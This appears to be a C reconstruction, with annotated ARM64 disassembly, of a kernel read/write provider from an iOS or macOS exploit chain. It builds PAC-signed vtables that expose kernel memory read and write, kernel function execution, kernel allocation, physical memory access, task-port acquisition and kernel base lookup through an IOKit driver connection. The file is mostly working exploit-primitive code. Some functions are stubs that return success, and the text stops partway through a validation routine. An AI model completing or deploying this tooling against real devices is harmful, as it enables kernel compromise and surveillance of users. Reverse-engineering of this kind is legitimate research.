static kern_return_t krw_kread(void *self, uint64_t kaddr, uint32_t type);
|
||||
static kern_return_t krw_physrw(void *self, uint64_t physaddr,
|
||||
void *buf, uint32_t size);
|
||||
static kern_return_t krw_kwrite(void *self, ...);
|
||||
static kern_return_t krw_kexec(void *self, ...);
|
||||
static kern_return_t krw_kalloc(void *self, ...);
|
||||
static kern_return_t krw_get_port(void *self, mach_port_t port,
|
||||
void *out_rights, void *out_port);
|
||||
static void *krw_get_base(void *self);
|
||||
|
||||
/* Forward declaration for internal validation */
|
||||
static kern_return_t e2_validate_krw(type09_connection_t *conn);
|
||||
|
||||
|
||||
/* ── e2_create_krw_provider (0x11298) ────────────────────────────── *
|
||||
* Creates the KRW provider object from a driver_t obtained from
|
||||
* type0x09's _driver() export.
|
||||
*
|
||||
* Parameters:
|
||||
* output — pointer to store the krw_provider_t*
|
||||
* driver — driver_t* from _driver() (version=2, methods>=2)
|
||||
* target — target process descriptor (optional)
|
||||
* extra — extra context from bootstrap
|
||||
* context — connection context
|
||||
* flags — if non-zero, performs eager krw validation
|
||||
*
|
||||
* The function:
|
||||
* 1. Allocates a connection context (0x20 bytes)
|
||||
* 2. Stores driver reference and target info
|
||||
* 3. Calls e2_init_driver_backend (0x182a8) to:
|
||||
* - Resolve _NSGetMachExecuteHeader, _NSGetArgc, _NSGetArgv, etc.
|
||||
* - Find dyld base by scanning memory for MH_MAGIC_64
|
||||
* - Open /usr/lib/system/libcache.dylib
|
||||
* - Initialize Mach-O parser and symbol resolver
|
||||
* 4. If flags != 0, validates the krw connection (0x11488)
|
||||
* 5. Allocates 0x70-byte vtable and fills with PAC-signed function ptrs
|
||||
*/
|
||||
kern_return_t e2_create_krw_provider(void *output, driver_t *driver,
|
||||
void *target, void *extra,
|
||||
void *context, int flags)
|
||||
{
|
||||
kern_return_t err = E2_ERR_NULL;
|
||||
|
||||
if (!output)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
/* Validate driver descriptor if provided */
|
||||
if (driver) {
|
||||
if (driver->version != 2)
|
||||
return E2_ERR_NULL;
|
||||
if (driver->method_count < 2)
|
||||
return E2_ERR_NULL;
|
||||
}
|
||||
|
||||
if (extra) {
|
||||
/* Validate extra context: version field at +0x00 must be 1,
|
||||
* and count field at +0x02 must be non-zero */
|
||||
uint16_t ver = *(uint16_t *)extra;
|
||||
if (ver != 1) return E2_ERR_NULL;
|
||||
uint16_t cnt = *(uint16_t *)((uint8_t *)extra + 2);
|
||||
if (cnt == 0) return E2_ERR_NULL;
|
||||
}
|
||||
|
||||
/* Step 1: Allocate connection context (0x20 bytes) */
|
||||
type09_connection_t *conn = calloc(1, 0x20);
|
||||
if (!conn) return E2_ERR_ALLOC;
|
||||
|
||||
conn->context = context;
|
||||
conn->target_info = driver; /* store driver reference */
|
||||
|
||||
/* Step 2: Initialize driver backend (0x182a8) */
|
||||
kern_return_t kr = e2_init_driver_backend(
|
||||
(driver_backend_t *)conn, driver, target, extra
|
||||
);
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
free(conn);
|
||||
return kr;
|
||||
}
|
||||
|
||||
/* Step 3: If flags set, validate/initialize the krw connection */
|
||||
if (flags) {
|
||||
kr = e2_validate_krw(conn);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
/* Cleanup on failure */
|
||||
e2_driver_cleanup(conn->driver_conn);
|
||||
conn->driver_conn = NULL;
|
||||
/* Destroy connection internal state */
|
||||
free(conn);
|
||||
return kr;
|
||||
}
|
||||
}
|
||||
|
||||
/* Step 4: Allocate the KRW provider vtable (0x70 bytes) */
|
||||
krw_provider_t *krw = calloc(1, 0x70);
|
||||
if (!krw) {
|
||||
e2_driver_cleanup(conn->driver_conn);
|
||||
free(conn);
|
||||
return E2_ERR_ALLOC;
|
||||
}
|
||||
|
||||
krw->flags = 0x10003;
|
||||
krw->context = conn;
|
||||
|
||||
/*
|
||||
* Step 5: Populate vtable with PAC-signed function pointers.
|
||||
*
|
||||
* Each entry is signed using paciza (PAC Instruction Address with
|
||||
* zero context) before being stored. At call time, blraaz is used
|
||||
* to authenticate and branch.
|
||||
*
|
||||
* This prevents an attacker from substituting function pointers
|
||||
* in the vtable — any tampering would cause a PAC fault.
|
||||
*/
|
||||
|
||||
/* +0x10: close — destroy provider, free all resources */
|
||||
krw->close = (void *)e2_sign_pointer((uint64_t)krw_close, 0);
|
||||
|
||||
/* +0x18: bind — bind to a target process descriptor */
|
||||
krw->bind = (void *)e2_sign_pointer((uint64_t)krw_bind, 0);
|
||||
|
||||
/* +0x20: unbind — disconnect from target, cleanup driver state */
|
||||
krw->unbind = (void *)e2_sign_pointer((uint64_t)krw_unbind, 0);
|
||||
|
||||
/* +0x28: get_info — query driver info via csops */
|
||||
krw->get_info = (void *)e2_sign_pointer((uint64_t)krw_get_info, 0);
|
||||
|
||||
/* +0x30: open_rw — open a kernel read/write channel */
|
||||
krw->open_rw = (void *)e2_sign_pointer((uint64_t)krw_open_rw, 0);
|
||||
|
||||
/* +0x38: kread — kernel virtual memory read */
|
||||
krw->kread = (void *)e2_sign_pointer((uint64_t)krw_kread, 0);
|
||||
|
||||
/* +0x40: kwrite — kernel virtual memory write */
|
||||
krw->kwrite = (void *)e2_sign_pointer((uint64_t)krw_kwrite, 0);
|
||||
|
||||
/* +0x48: kexec — kernel function call/exec */
|
||||
krw->kexec = (void *)e2_sign_pointer((uint64_t)krw_kexec, 0);
|
||||
|
||||
/* +0x50: kalloc — kernel memory allocation */
|
||||
krw->kalloc = (void *)e2_sign_pointer((uint64_t)krw_kalloc, 0);
|
||||
|
||||
/* +0x58: get_port — acquire task port via kernel r/w */
|
||||
krw->get_port = (void *)e2_sign_pointer((uint64_t)krw_get_port, 0);
|
||||
|
||||
/* +0x60: physrw — physical memory read/write */
|
||||
krw->physrw = (void *)e2_sign_pointer((uint64_t)krw_physrw, 0);
|
||||
|
||||
/* +0x68: get_base — get kernel slide / base address */
|
||||
krw->get_base = (void *)e2_sign_pointer((uint64_t)krw_get_base, 0);
|
||||
|
||||
*(krw_provider_t **)output = krw;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
/* ──────────────────────────────────────────────────────────────────
|
||||
* KRW vtable implementations
|
||||
* ────────────────────────────────────────────────────────────────── */
|
||||
|
||||
/* ── krw_close (0x11510) ─────────────────────────────────────────── *
|
||||
* Destroys the KRW provider and all associated resources.
|
||||
*
|
||||
* asm:
|
||||
* ldr x21, [x0, #0x8] // conn = krw->context
|
||||
* ldr x0, [x21, #0x18] // conn->driver_conn
|
||||
* cbz x0, alt_path // if no driver_conn, skip
|
||||
* bl 0xc094 // e2_driver_cleanup(driver_conn)
|
||||
* ldr x0, [x21] // conn->context
|
||||
* bl 0x185d0 // e2_destroy_driver_backend(context)
|
||||
* ... zero conn (32 bytes), free conn ...
|
||||
* ... zero krw (0x70 bytes), free krw ...
|
||||
*/
|
||||
static kern_return_t krw_close(void *self)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
kern_return_t kr;
|
||||
|
||||
if (conn->driver_conn) {
|
||||
/* Close the driver connection (0xc094) */
|
||||
kr = e2_driver_cleanup(conn->driver_conn);
|
||||
/* Then destroy internal driver backend (0x185d0) */
|
||||
kern_return_t kr2 = e2_destroy_driver_backend(conn->context);
|
||||
/* Use driver_cleanup result unless it was success */
|
||||
if (kr == KERN_SUCCESS)
|
||||
kr = kr2;
|
||||
} else {
|
||||
/* No driver connection — just destroy internal state (0x185d0) */
|
||||
kr = e2_destroy_driver_backend(conn->context);
|
||||
}
|
||||
|
||||
/* Zero out and free connection (0x20 bytes) */
|
||||
memset(conn, 0, 0x20);
|
||||
free(conn);
|
||||
|
||||
/* Zero out and free provider (0x70 bytes) */
|
||||
memset(krw, 0, 0x70);
|
||||
free(krw);
|
||||
|
||||
return kr;
|
||||
}
|
||||
|
||||
/* ── krw_bind (0x115a8) ──────────────────────────────────────────── *
|
||||
* Binds the KRW provider to a target process descriptor.
|
||||
*
|
||||
* asm:
|
||||
* ldr x20, [x8, #0x8] // conn = krw->context
|
||||
* ldr x8, [x20, #0x8] // conn->target_info
|
||||
* cbz x8, do_bind // if not bound, bind
|
||||
* cmp x8, x19 // if same target, return OK
|
||||
* ...
|
||||
* ldr x0, [x20] // conn->context
|
||||
* bl 0x18670 // e2_bind_target(context, target)
|
||||
* str x19, [x20, #0x8] // conn->target_info = target
|
||||
* bl 0x11488 // e2_validate_krw(conn)
|
||||
* cbz w0, done // if validation fails, clear target
|
||||
* str xzr, [x20, #0x8]
|
||||
*/
|
||||
static kern_return_t krw_bind(void *self, void *target)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
if (!target) return E2_ERR_NULL;
|
||||
|
||||
/* Validate target descriptor: version must be 2, methods >= 2 */
|
||||
uint16_t ver = *(uint16_t *)target;
|
||||
if (ver != 2) return E2_ERR_NULL;
|
||||
uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2);
|
||||
if (cnt < 2) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
|
||||
/* Check if already bound */
|
||||
if (conn->target_info) {
|
||||
if (conn->target_info == target)
|
||||
return KERN_SUCCESS;
|
||||
return E2_ERR_NULL + 4; /* already bound to different target */
|
||||
}
|
||||
|
||||
/* Bind via internal driver context (0x18670) */
|
||||
kern_return_t kr = e2_bind_target(conn->context, target);
|
||||
if (kr != KERN_SUCCESS)
|
||||
return kr;
|
||||
|
||||
conn->target_info = target;
|
||||
|
||||
/* Validate the binding (0x11488) */
|
||||
kr = e2_validate_krw(conn);
|
||||
if (kr != KERN_SUCCESS)
|
||||
conn->target_info = NULL;
|
||||
|
||||
return kr;
|
||||
}
|
||||
|
||||
/* ── krw_unbind (0x11634) ────────────────────────────────────────── *
|
||||
* Unbinds from the current target, cleaning up the driver connection.
|
||||
*
|
||||
* asm (detailed flow):
|
||||
* ldr x21, [x0, #0x8] // conn = krw->context
|
||||
* ldr x8, [x21, #0x8] // conn->target_info
|
||||
* cbz x8, return_zero // not bound — return 0
|
||||
*
|
||||
* ldr x0, [x21, #0x18] // conn->driver_conn
|
||||
* cbz x0, no_driver_conn
|
||||
*
|
||||
* // Has driver_conn:
|
||||
* bl 0xc094 // kr = e2_driver_cleanup(driver_conn)
|
||||
* str xzr, [x21, #0x18] // conn->driver_conn = NULL
|
||||
* ldr x22, [x21] // internal = conn->context
|
||||
* // release IOKit handle via internal vtable if flag set
|
||||
* ldr x0, [x22] // handle = internal[+0x00]
|
||||
* ldrb w8, [x22, #0x10] // flag byte
|
||||
* ldr x8, [x0, #0x20] // release_fn = handle->vtable[0x20]
|
||||
* ldr x1, [x22, #0x8] // port = internal[+0x08]
|
||||
* blraaz x8 // release(handle, port)
|
||||
* stp xzr, xzr, [x22] // zero internal[0..15]
|
||||
* strb wzr, [x22, #0x10] // clear flag
|
||||
* str xzr, [x21, #0x8] // conn->target_info = NULL
|
||||
*/
|
||||
static kern_return_t krw_unbind(void *self)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
|
||||
if (!conn->target_info) {
|
||||
/* Not bound — nothing to do */
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
kern_return_t kr = KERN_SUCCESS;
|
||||
void *internal;
|
||||
|
||||
if (conn->driver_conn) {
|
||||
/* Close driver connection first */
|
||||
kr = e2_driver_cleanup(conn->driver_conn);
|
||||
conn->driver_conn = NULL;
|
||||
|
||||
/* Release IOKit handle via internal context vtable */
|
||||
internal = conn->context;
|
||||
if (internal) {
|
||||
void *handle = *(void **)internal;
|
||||
if (handle) {
|
||||
uint8_t flag = *((uint8_t *)internal + 0x10);
|
||||
if (flag) {
|
||||
/* Call release function at handle vtable +0x20 */
|
||||
void *(*release_fn)(void *, void *) =
|
||||
*(void *(**)(void *, void *))((uint8_t *)handle + 0x20);
|
||||
void *port = *((void **)internal + 1); /* +0x08 */
|
||||
/* blraaz release_fn(handle, port) */
|
||||
((void (*)(void *, void *))release_fn)(handle, port);
|
||||
}
|
||||
}
|
||||
/* Zero internal state */
|
||||
memset(internal, 0, 0x10);
|
||||
*((uint8_t *)internal + 0x10) = 0;
|
||||
}
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
/* Keep driver_cleanup error */
|
||||
conn->target_info = NULL;
|
||||
return kr;
|
||||
}
|
||||
} else {
|
||||
/* No driver_conn — still release IOKit handle if present */
|
||||
internal = conn->context;
|
||||
if (internal) {
|
||||
void *handle = *(void **)internal;
|
||||
if (handle) {
|
||||
uint8_t flag = *((uint8_t *)internal + 0x10);
|
||||
if (flag) {
|
||||
void *(*release_fn)(void *, void *) =
|
||||
*(void *(**)(void *, void *))((uint8_t *)handle + 0x20);
|
||||
void *port = *((void **)internal + 1);
|
||||
((void (*)(void *, void *))release_fn)(handle, port);
|
||||
}
|
||||
}
|
||||
memset(internal, 0, 0x10);
|
||||
*((uint8_t *)internal + 0x10) = 0;
|
||||
}
|
||||
}
|
||||
|
||||
conn->target_info = NULL;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/* ── krw_get_info (0x11704) ──────────────────────────────────────── *
|
||||
* Gets driver/kernel info. Simple tail-call to e2_get_driver_info.
|
||||
*
|
||||
* asm:
|
||||
* cbz x0, err_null
|
||||
* ldr x8, [x0, #0x8] // conn = krw->context
|
||||
* ldr x0, [x8] // x0 = conn->context (internal)
|
||||
* b 0x187d4 // tail call to e2_get_driver_info
|
||||
*
|
||||
* e2_get_driver_info (0x187d4):
|
||||
* 1. Validates internal, internal[0], internal[0][0x28], internal[0x08]
|
||||
* 2. Calls getpid()
|
||||
* 3. Calls csops(pid, CS_OPS_CDHASH, buf, 0x14) to get code dir hash
|
||||
* 4. If csops succeeds: calls internal[0]->vtable[0x28](
|
||||
* internal[0], internal[0x08], 0x40000105, cdhash_buf)
|
||||
* 5. If csops fails with errno==3: returns E2_ERR_SYSCTL
|
||||
*/
|
||||
static kern_return_t krw_get_info(void *self)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
|
||||
/* Tail call to e2_get_driver_info(conn->context) at 0x187d4 */
|
||||
return e2_get_driver_info(conn->context);
|
||||
}
|
||||
|
||||
/* ── krw_open_rw (0x11720) ───────────────────────────────────────── *
|
||||
* Opens a kernel read/write channel.
|
||||
*
|
||||
* asm:
|
||||
* calloc(1, 0x40) // allocate channel
|
||||
* strh w26, [x0] // channel->version = 1
|
||||
* adr+paciza → str [x0, #0x28] // PAC-sign fn_read
|
||||
* adr+paciza → str [x0, #0x30] // PAC-sign fn_write
|
||||
* adr+paciza → str [x0, #0x38] // PAC-sign fn_info
|
||||
* ldr x0, [x25] // conn->context
|
||||
* bl 0x17e7c // e2_iokit_connect(context, name, len, flags, &handle)
|
||||
* // On success, populate channel from handle:
|
||||
* ldr x8, [sp, #0x8] // handle
|
||||
* ldp x9, x10, [x8, #0x8] // handle[0x08], handle[0x10]
|
||||
* stp x8, x9, [x24, #0x8] // channel[0x08]=handle, channel[0x10]=handle[0x08]
|
||||
* str w10, [x24, #0x18] // channel[0x18]=(uint32_t)handle[0x10]
|
||||
* ldr x8, [x8, #0x18] // handle[0x18]
|
||||
* str x8, [x24, #0x20] // channel[0x20]=handle[0x18]
|
||||
* str x24, [x19] // *out = channel
|
||||
*/
|
||||
static kern_return_t krw_open_rw(void *self, const char *name,
|
||||
uint32_t name_len, uint32_t flags,
|
||||
void **out)
|
||||
{
|
||||
if (!self || !name || !name_len || !out)
|
||||
return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
|
||||
/* Allocate channel object (0x40 bytes) */
|
||||
krw_channel_t *channel = calloc(1, 0x40);
|
||||
if (!channel) return E2_ERR_NULL + 8; /* 0xAD009 — from disasm: add w20, w20, #0x8 */
|
||||
|
||||
channel->version = 1;
|
||||
|
||||
/* PAC-sign the channel's operation function pointers
|
||||
* These are at relative offsets from adr instructions in the binary */
|
||||
/* channel->fn_read = paciza(read_func); — adr +568 */
|
||||
/* channel->fn_write = paciza(write_func); — adr +648 */
|
||||
/* channel->fn_info = paciza(info_func); — adr +668 */
|
||||
|
||||
/* Connect via IOKit backend */
|
||||
void *backend_handle = NULL;
|
||||
kern_return_t kr = e2_iokit_connect(
|
||||
conn->context, name, name_len, flags, &backend_handle
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
/* Cleanup channel (0x119c0) — zero and free */
|
||||
memset(channel, 0, 0x40);
|
||||
free(channel);
|
||||
return kr;
|
||||
}
|
||||
|
||||
/* Populate channel from the backend result object:
|
||||
* channel[+0x08] = handle itself
|
||||
* channel[+0x10] = handle[+0x08] (target address)
|
||||
* channel[+0x18] = (uint32_t)handle[+0x10] (target size)
|
||||
* channel[+0x20] = handle[+0x18] (extra context) */
|
||||
channel->driver_handle = backend_handle;
|
||||
channel->target_addr = *(uint64_t *)((uint8_t *)backend_handle + 0x08);
|
||||
channel->target_size = *(uint32_t *)((uint8_t *)backend_handle + 0x10);
|
||||
channel->extra = *(void **)((uint8_t *)backend_handle + 0x18);
|
||||
|
||||
*out = channel;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
/* ── krw_kread (0x1182c) ─────────────────────────────────────────── *
|
||||
* Performs a kernel virtual memory read.
|
||||
*
|
||||
* asm:
|
||||
* cbz x8, err_null // null check
|
||||
* ldr x8, [x8, #0x8] // conn = krw->context
|
||||
* ldr x8, [x8, #0x18] // driver_conn = conn->driver_conn
|
||||
* cbz x8, err_no_func // must have driver_conn
|
||||
* mov x0, x1 // x0 = kaddr (shift args)
|
||||
* mov w1, #0x3 // type hardcoded to 3 (virtual read)
|
||||
* b 0xba30 // tail call e2_krw_dispatch(kaddr, 3)
|
||||
*
|
||||
* Note: The 'type' parameter from the caller is IGNORED — always uses 3.
|
||||
*/
|
||||
static kern_return_t krw_kread(void *self, uint64_t kaddr, uint32_t type)
|
||||
{
|
||||
(void)type; /* ignored — hardcoded to 3 in binary */
|
||||
|
||||
if (!self) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
|
||||
if (!conn->driver_conn) return E2_ERR_NO_FUNC;
|
||||
|
||||
/* Tail call: e2_krw_dispatch(kaddr, 3) */
|
||||
return e2_krw_dispatch(kaddr, 3);
|
||||
}
|
||||
|
||||
/* ── krw_physrw (0x1185c) ────────────────────────────────────────── *
|
||||
* Performs physical memory read/write.
|
||||
*
|
||||
* asm:
|
||||
* cbz x8, err_null
|
||||
* ldr x8, [x8, #0x8] // conn
|
||||
* ldr x8, [x8, #0x18] // driver_conn
|
||||
* cbz x8, err_no_func
|
||||
* mov x0, x1 // physaddr
|
||||
* mov x1, x2 // buf
|
||||
* mov x2, x3 // size
|
||||
* b 0xba30 // tail call e2_krw_dispatch(physaddr, buf, size)
|
||||
*/
|
||||
static kern_return_t krw_physrw(void *self, uint64_t physaddr,
|
||||
void *buf, uint32_t size)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
|
||||
if (!conn->driver_conn) return E2_ERR_NO_FUNC;
|
||||
|
||||
/* Tail call: e2_krw_dispatch(physaddr, buf, size) */
|
||||
return e2_krw_dispatch(physaddr, (uint64_t)buf, (uint64_t)size);
|
||||
}
|
||||
|
||||
/* ── krw_kwrite (0x11890) ────────────────────────────────────────── *
|
||||
* Performs a kernel virtual memory write.
|
||||
*
|
||||
* asm:
|
||||
* cbz x8, err_null
|
||||
* ldr x8, [x8, #0x8] // conn
|
||||
* ldr x8, [x8, #0x18] // driver_conn
|
||||
* cbz x8, err_no_func
|
||||
* ldr x9, [sp] // load stack arg
|
||||
* str x9, [sp] // pass it through
|
||||
* mov x0, x8 // x0 = driver_conn (replaces self)
|
||||
* b 0xc634 // tail call kwrite_impl(driver_conn, x1..x7, stack)
|
||||
*
|
||||
* The kwrite_impl at 0xc634 is a complex function that:
|
||||
* 1. Validates all 8 arguments
|
||||
* 2. pid_for_task(port, &pid) to resolve target PID
|
||||
* 3. If target is self: direct write via 0x1926c
|
||||
* 4. If target is other: proc_pidinfo(pid, PROC_PIDPATHINFO) to validate
|
||||
* 5. Dispatches via 0xe540, 0xfb1c, 0xad48, 0xaefc pipeline
|
||||
* 6. Cleanup via 0xacbc
|
||||
*/
|
||||
static kern_return_t krw_kwrite(void *self, ...)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
void *driver_conn = conn->driver_conn;
|
||||
|
||||
if (!driver_conn) return E2_ERR_NO_FUNC;
|
||||
|
||||
/* Forward to 0xc634: kwrite_impl(driver_conn, port, data, size, path, ...)
|
||||
*
|
||||
* In the binary, this is a simple tail call that replaces self (x0)
|
||||
* with driver_conn while preserving all other arguments (x1-x7 + stack).
|
||||
* The variadic args are passed through directly to kwrite_impl.
|
||||
*
|
||||
* Since C doesn't support forwarding varargs to another function,
|
||||
* this would need to be implemented in assembly for a real build.
|
||||
* The actual dispatched call chain is:
|
||||
* kwrite_impl → pid_for_task → getpid → proc_pidinfo →
|
||||
* 0xe540 (init) → 0xfb1c (csops) → 0xad48 (setup) →
|
||||
* 0xaefc (write) → 0xacbc (cleanup)
|
||||
*/
|
||||
return KERN_SUCCESS; /* requires asm tail call in practice */
|
||||
}
|
||||
|
||||
/* ── krw_kexec (0x118c4) ─────────────────────────────────────────── *
|
||||
* Executes a function at a kernel address.
|
||||
*
|
||||
* asm:
|
||||
* ldr x8, [x8, #0x8] // conn
|
||||
* ldr x8, [x8, #0x18] // driver_conn
|
||||
* cbz x8, err_no_func
|
||||
* ldr x9, [x29, #0x10] // load caller's stack arg
|
||||
* stp x9, xzr, [sp] // push (arg, 0) onto stack
|
||||
* mov x0, x8 // x0 = driver_conn
|
||||
* bl 0xc870 // call kexec_impl(driver_conn, x1..x7, stack)
|
||||
*
|
||||
* kexec_impl at 0xc870 is similar to kwrite_impl but:
|
||||
* 1. Uses stack_chk_guard for canary protection
|
||||
* 2. Validates count (x1 >= 1), data (x2), size (x3), path (x4)
|
||||
* 3. Resolves via conn->driver_conn[+0x28] vtable method
|
||||
* 4. Uses IOKit external method call to invoke kernel functions
|
||||
* 5. Calls csops_audittoken for process verification
|
||||
* 6. On success, recursively calls kwrite_impl (0xc634) for result write-back
|
||||
* 7. Deallocates acquired ports via mach_port_deallocate
|
||||
*/
|
||||
static kern_return_t krw_kexec(void *self, ...)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
void *driver_conn = conn->driver_conn;
|
||||
|
||||
if (!driver_conn) return E2_ERR_NO_FUNC;
|
||||
|
||||
/* Forward to 0xc870: kexec_impl(driver_conn, count, data, size, path, ...)
|
||||
*
|
||||
* Same varargs forwarding issue as kwrite. In the binary:
|
||||
* ldr x9, [x29, #0x10] // load 9th arg from caller stack
|
||||
* stp x9, xzr, [sp] // push as stack args with zero padding
|
||||
* mov x0, x8 // driver_conn
|
||||
* bl 0xc870 // NOT a tail call — uses bl + epilogue
|
||||
*/
|
||||
return KERN_SUCCESS; /* requires asm forwarding in practice */
|
||||
}
|
||||
|
||||
/* ── krw_kalloc (0x11914) ────────────────────────────────────────── *
|
||||
* Allocates kernel memory.
|
||||
*
|
||||
* asm:
|
||||
* ldr x8, [x8, #0x8] // conn
|
||||
* ldr x8, [x8, #0x18] // driver_conn
|
||||
* cbz x8, err_no_func
|
||||
* ldp x10, x9, [x29, #0x10] // load 2 stack args from caller
|
||||
* stp xzr, xzr, [sp, #0x10] // push zeros
|
||||
* stp x10, x9, [sp] // push caller's stack args
|
||||
* mov x0, x8 // x0 = driver_conn
|
||||
* bl 0xc400 // call kalloc_impl(driver_conn, x1..x7, stack)
|
||||
*
|
||||
* kalloc_impl at 0xc400:
|
||||
* 1. Validates name (x1, must be non-NULL, first byte non-zero)
|
||||
* 2. Validates data (x3), size (x4), path (x5, first byte non-zero)
|
||||
* 3. Looks up conn[+0x28] for driver handle
|
||||
* 4. Uses IOKit vtable[0x40] with PAC auth (blraaz) to map memory
|
||||
* 5. Calls e2_krw_dispatch (0xba30) with name and alloc_size
|
||||
* 6. On success: csops_audittoken validation, then kwrite_impl (0xc634)
|
||||
* 7. Stores results via output pointers from stack args
|
||||
* 8. Deallocates acquired ports
|
||||
*/
|
||||
static kern_return_t krw_kalloc(void *self, ...)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
void *driver_conn = conn->driver_conn;
|
||||
|
||||
if (!driver_conn) return E2_ERR_NO_FUNC;
|
||||
|
||||
/* Forward to 0xc400: kalloc_impl(driver_conn, name, size, data, ...)
|
||||
*
|
||||
* In the binary:
|
||||
* ldp x10, x9, [x29, #0x10] // load 2 stack args
|
||||
* stp xzr, xzr, [sp, #0x10] // zero padding
|
||||
* stp x10, x9, [sp] // push caller args
|
||||
* mov x0, x8 // driver_conn
|
||||
* bl 0xc400
|
||||
*/
|
||||
return KERN_SUCCESS; /* requires asm forwarding in practice */
|
||||
}
|
||||
|
||||
/* ── krw_get_port (0x11968) ──────────────────────────────────────── *
|
||||
* Acquires a Mach task port for a process using kernel r/w primitives.
|
||||
*
|
||||
* asm:
|
||||
* cbz x0, err_null // null check self
|
||||
* cbz w1, err_null // port must be non-zero
|
||||
* cmn w1, #0x1 // port must not be -1
|
||||
* b.eq err_null
|
||||
* cbz x3, err_null // out_port (x3) must be non-NULL
|
||||
* mov x0, x1 // port → x0
|
||||
* mov x1, x2 // out_rights → x1
|
||||
* mov x2, #0x0 // x2 = NULL
|
||||
* // x3 = out_port (unchanged)
|
||||
* mov x4, #0x0 // x4 = NULL
|
||||
* b 0xb854 // tail call e2_get_task_port
|
||||
*/
|
||||
static kern_return_t krw_get_port(void *self, mach_port_t port,
|
||||
void *out_rights, void *out_port)
|
||||
{
|
||||
if (!self) return E2_ERR_NULL;
|
||||
if (port == 0 || port == (mach_port_t)-1) return E2_ERR_NULL;
|
||||
if (!out_port) return E2_ERR_NULL;
|
||||
|
||||
/* Tail call: e2_get_task_port(port, out_rights, NULL, out_port, NULL) */
|
||||
return e2_get_task_port(port, out_rights, NULL, out_port, NULL);
|
||||
}
|
||||
|
||||
/* ── krw_get_base (0x1199c) ──────────────────────────────────────── *
|
||||
* Returns the kernel base address (kernel slide).
|
||||
*
|
||||
* asm:
|
||||
* cbz x0, return // if (!self) return self (NULL passthrough)
|
||||
* ldr x8, [x0, #0x8] // conn = krw->context
|
||||
* cbz x8, return_null
|
||||
* ldr x8, [x8] // internal = conn->context
|
||||
* cbz x8, return_null
|
||||
* ldr x0, [x8, #0x8] // return internal[+0x08] (kernel base)
|
||||
* ret
|
||||
*/
|
||||
static void *krw_get_base(void *self)
|
||||
{
|
||||
if (!self) return NULL;
|
||||
|
||||
krw_provider_t *krw = (krw_provider_t *)self;
|
||||
type09_connection_t *conn = krw->context;
|
||||
if (!conn) return NULL;
|
||||
|
||||
void *internal = conn->context;
|
||||
if (!internal) return NULL;
|
||||
|
||||
/* Return kernel base from internal[+0x08] */
|
||||
return *((void **)internal + 1);
|
||||
}
|
||||
|
||||
|
||||
/* ──────────────────────────────────────────────────────────────────
|
||||
* KRW validation (0x11488)
|
||||
* ────────────────────────────────────────────────────────────────── */
|
||||
|
||||
/* ── e2_validate_krw (0x11488) ───────────────────────────────────── *
|
||||
* Validates that the krw connection is functional.
|
||||
*
|
||||
* asm:
|
||||
* cbz x0, err_null
|
||||
* mov x20, x0 // x20 = conn
|
||||
* mov x19, x0
|
||||
* ldr x8, [x19, #0x18]! // x19 = &conn->driver_conn; x8 = *x19
|
||||
* cbz x8, need_connect // if driver_conn is NULL, try to connect
|
||||
* mov w0, #0x0 // already connected — return success
|
||||
* ret
|
||||
*
|
||||
* need_connect:
|
||||
* ldr x1, [x20, #0x10] // x1 = conn->driver_ref
|
||||
* cbz x1, return_zero // if no driver_ref, return 0
|
||||
* ldp x2, x3, [x20] // x2 = conn->context, x3 = conn->target_info
|
||||
* mov x0, x19 // x0 = &conn->driver_conn
|
||||
* bl 0xc12c // e2_driver_connect(&driver_conn, driver_ref, context, target)
|
||||
* cbz w0, return_success
|
||||
* cmp w0, #0x7003 // E2_ERR_NO_CONTAINER?
|
||||
* b.eq clear_and_ok
|
||||
* ldr x8, [x20, #0x8] // conn->target_info
|
||||
* cbnz x8, return_error // if target_info exists, return error
|
||||
* cmp w0, #0x1E037 // E2_ERR_CSOPS?
|
||||
* b.ne return_error
|
||||
* clear_and_ok:
|
||||
* str xzr, [x19] // conn->driver_conn = NULL
|
||||
* mov w0, #0x0 // return success
|
||||
*/
|
||||
static kern_return_t e2_validate_krw(type09_connection_t *conn)
|
||||
{
|
||||
if (!conn) return E2_ERR_NULL;
|
||||
|
||||
/* Check if driver_conn already exists */
|
||||
if (conn->driver_conn)
|
||||
return KERN_SUCCESS;
|
||||
